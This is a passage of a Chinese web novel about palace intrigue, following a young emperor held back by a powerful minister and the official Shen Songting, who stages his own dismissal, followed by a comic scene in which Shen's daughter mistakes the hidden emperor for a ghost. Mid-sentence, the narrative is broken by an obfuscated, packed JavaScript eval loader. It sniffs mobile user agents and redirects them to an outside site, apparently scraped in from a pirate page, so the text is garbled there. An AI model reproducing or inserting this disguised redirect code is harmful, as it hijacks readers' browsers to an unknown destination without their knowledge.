一个是莽撞试探却被权臣压制的新帝,一个是被风波波及的前太仆寺卿。
李承佑与沈松庭在朝廷众臣看来都是没什么交集的,沈松庭倒向皇帝更是无稽之谈。
若是沈松庭当真倒向了皇帝,那为何皇帝想要换掉太仆寺卿呢?
外人又怎会知晓,这原本就是由沈松庭本人策划的一场大戏。
朝局的复杂还要从先帝在时讲起。
先帝膝下有五位皇子,其中长子为皇后所出,嫡长子为太子是人心所归。
即使皇帝本人没有能说服天下人的理由轻易也不能动摇嫡长子的地位。
但这位嫡长子有些特殊,出生起便体弱,直到成年为止更是耗费了太医院无数太医的心力,能够留到成年都是太医院医术高超。
皇帝本人对嫡长子的英年早逝也早就做好心理准备,只是一时间难以接受。
太子人选自然要从剩下的五位皇子中出,其中第三子李承佑继位的可能性微乎其微。
二皇子内有淑妃母亲周旋,外有外祖父支持,实力最强。
四皇子文采出众,颇得文臣看好。
五皇子的母亲则是出身理国公府,勋贵世家大多看好这位五皇子。
唯独三皇子李承佑少了些运气,母亲早逝,外祖家又早早败落,提供不了什么助力。
在大皇子英年早逝那一年,其余三位皇子的支持者就闹了场大的,最后皇帝左瞧瞧右看看,背锅的就成了年仅十四岁的李承佑。
名义上是替皇帝往北疆劳军,其实就是发配边疆了。
有些人的发配边疆是手握军权得大将军支持,有些人的发配边疆则是带着一万两银子去边疆安家。
军权?压根不可能。
对一个普通人家来说,一万两银子是一笔巨款,但对于一个皇子来说,也不过是亲王一年的俸禄。
李承佑在边疆,军营都进不去,政事更是痴心妄想。
他自然只能找点自己能做的事情做,练武念书。
机会很快就来了,二皇子与四皇子先后出事丧失了继承皇位的资格,唯独五皇子在勋贵的保驾护航之下成功突出重围。
李承佑意识到自己的机会来了,于是他拿出自己攒的银子往京城陈家递了一个消息。
陈家乃是先皇后的母家,大皇子的外家,陈介甫不仅是内阁重臣更是承恩公,备受先帝信任。
先帝与内阁都有一个共识,勋贵之家是要逐渐没落的,有个别出众的子弟仍然可以在朝为官,但想要如同以前那样煊赫却是不能了。
但硕果仅存的五皇子外家正是勋贵中的领头羊,理国公府。
这就完全背离了先帝的政治主张,五皇子上位后有两种可能,要么打压勋贵,要么扶持这些旧亲。
根据先帝的试探,五皇子不类他。
不类朕,这简直是皇帝的魔咒。
恰在此事,也在为此事心烦的陈介甫收到了底下人递过来的消息。
远在边疆的三皇子莽撞来信,信中恭敬称陈介甫的夫人为舅母,附三千两银子的资物,道是年岁已至,应当娶妻生子延续为皇室开枝散叶,请求舅母帮忙提上一句。
不论李承佑到底耍没耍小心思,陈介甫需要这样一个皇子是真,先帝需要两一个选择也是真。
紧接着在陈介甫的帮助下,五皇子承受了巨大压力,他既有勋贵人家的支持,京城的武备力量他自然能调动一二,逼宫失败后自尽。
先帝先后丧子,打击之下缠绵病榻,李承佑便在灵前继位成了新帝。
登基之前感谢舅舅,登基之后......
别说陈介甫不是亲舅舅,就算是亲舅舅那也得收拾啊。
汉文帝令人哭灵逼的舅舅上吊,唐高宗逼舅舅自缢,皇帝与外戚的冲突自古有之,不是多么意外的事。
李承佑本也不打算对陈介甫如何,但这老头在他继位后迟迟不允他亲政。
一个不能亲政的皇帝,何时会死,谁也不清楚。
李承佑自然要为自己打算,于是他快速撬开了一条缝隙。
他从边疆带过来的兄弟,求娶了工部左侍郎窦大人守寡的独女。
窦大人以治水闻名,本就与陈家有些不睦之处,自然倒向李承佑。
但他自知自己不是个能搅弄风云的,可他却是正经的科举出身,与沈松庭为同年进士。
很快就为新帝牵线,沈松庭只是思虑了几日,便欣然接过了新帝的橄榄枝。
打动沈松庭的不是旁的,而是李承佑的武艺!
一个文官竟会被新帝的武艺打动,说出口都觉蹊跷。
但沈松庭有自己的判断。
其一,官家昔年被先帝赶去边疆,稚嫩年纪却没有放浪形骸也不曾自怨自艾,而是坚韧不拔的习武念书充实自己,绝对是心有成算的人。
其二,名分大义,不论官家是如何上位的,陈家又出了多少力,如今坐在龙椅上的是李承佑,他便是天子。
名分在此,李承佑又有武艺在身,他哪天若是下棋时候抄起棋盘砸死了陈介甫,谁难道还能为皇帝杀人而审判他吗?
换言之,李承佑只要坐在龙椅上,他就有掀桌的机会。
而陈介甫则无法无责弑君。
皇帝如今被权臣压制,本人又是坚韧有成算的人,这等的潜力股,要是不上船岂不是傻子。
当然,沈松庭能这般安然的上船也是有他自己的优势在,他自入京后从未支持后任何皇子是妥妥的保皇派。
即使嫁女南安侯府,那也是因为南安侯本身也是保皇派。
他一无姻亲牵制,二无党派裹挟。
沈松庭科
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16544147|186707||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
举出身,二甲进士,又曾在地方为官熟悉政务,提拔入京后,在太仆寺周旋多年,即使是五皇子逼宫时也不曾牵连太仆寺分毫。
沈大人这般人才,可谓是文能提笔挥墨,武能监理军务。
沈松庭的革职便是他自己一手操控。
第一,让皇帝动一个位置,试探陈介甫,若是有意还政自然皆大欢喜。
第二,利用革职的事情撇清自己,让全朝堂的人都知道他不曾倒向任何一方。
第三,利用自己的声望在其中周旋,推荐自己人上任太仆寺卿。
第四,兵部尚书即将致仕,他正好筹谋一二。
而对于李承佑而言,太仆寺卿的位置还是自己人,沈松庭又能往兵部去稳住局面,即使陈介甫给了压力再大,他仍然能有翻盘的机会。
最差最差的情况,他一定比陈介甫活的久,等陈介甫死了再清算陈家也来得及。
李承佑深夜往沈家来,自然是等沈松庭的下一步。
没想到遇见了....
李承佑抬手摸摸额角,他有些犹豫的开口,“来时曾被沈师的女儿碰见,不知是否受到了惊吓,是我莽撞了。”
沈松庭一楞,随即笑道:“无事,官家多心了,待我回去问问便是。”
“只是....”沈松庭犹豫的皱起眉头,“若是传了出去被人得知官家与臣有联系就麻烦了。”
李承佑脸上浮现一丝窘迫,他耳根泛红,“我躲在草丛里,没出去。”
沈松庭忍俊不禁,官家虽已有帝王风姿,却还有少年人的可爱模样,哪里有陈家人那些传言里的阴郁。
沈松庭从容的送走了皇帝,在书房又再次捋了一遍后面能做的事,随后才回了正房。
“啊!”
“啊!”
来自老妻和小女的大叫打破了沈大人的岁月静好。
沈熙真眼泪汪汪的,“爹,真的闹鬼啊!便宜没好货,怪不得这宅子那么好买。”
沈松庭:“......”
原来官家撞见的是熙真啊!
忆起官家耳根泛红的窘状,沈松庭隐隐有不妙的预感,但还撑着面上的平静。
颤抖的捋一捋胡须,他清清嗓子,“熙真,莫要胡言,那是我的弟子,来找我请教学问,只是不熟悉新宅布局走错了路。”
“他撞见女眷不敢动,这才躲在那不敢出来,不是闹鬼。”
冯氏瞬间松了口气,她伸手把埋在自己怀里的脑袋拔出来,“熙真,快起来,不是闹鬼。”
“不是闹鬼?”沈熙真一呆,随后她咬牙切齿,“什么混东西,躲那也不出声分明是故意吓我!”
沈松庭未曾作声,他瞥一眼女儿,心道,分明是胆子小。
官家怎么会故意吓熙真……?
官家应该不会吧……